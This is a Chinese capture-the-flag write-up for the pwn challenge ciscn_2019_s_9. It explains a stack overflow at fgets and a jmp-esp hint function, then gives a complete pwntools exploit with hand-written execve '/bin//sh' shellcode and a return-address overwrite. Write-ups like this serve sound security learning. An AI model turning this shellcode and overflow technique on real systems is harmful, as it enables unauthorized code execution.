ciscn_2019_s_9 1

1.checksec

在这里插入图片描述

2.ida

在这里插入图片描述
fgets处能栈溢出,然后我们发现可疑函数hint()
在这里插入图片描述
这个函数会直接跳转到esp处执行,我们可以在栈溢出时将返回地址溢出到该函数处,到时候函数执行返回指令ret(pop eip)时esp会-4,跳转到hint函数时会jmp到esp(返回地址的下一个位置),我们可以在这个位置随意构造汇编指令。
所以首先我们可以在s开始的位置就将shellcode写入,手搓shellcode的长度也就32,然后通过上面的思路,构造汇编指令时可以构造sub esp,40;call esp 这样程序就会跳转到shellcode的位置处执行。

3.exp

from pwn import*
p=process('./31')
shellcode=asm("xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80")
ret=0x8048554
payload=shellcode+b'a'*12+p32(ret)+asm("sub esp,40;call esp")
p.sendline(payload)
p.interactive()
  • 9
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值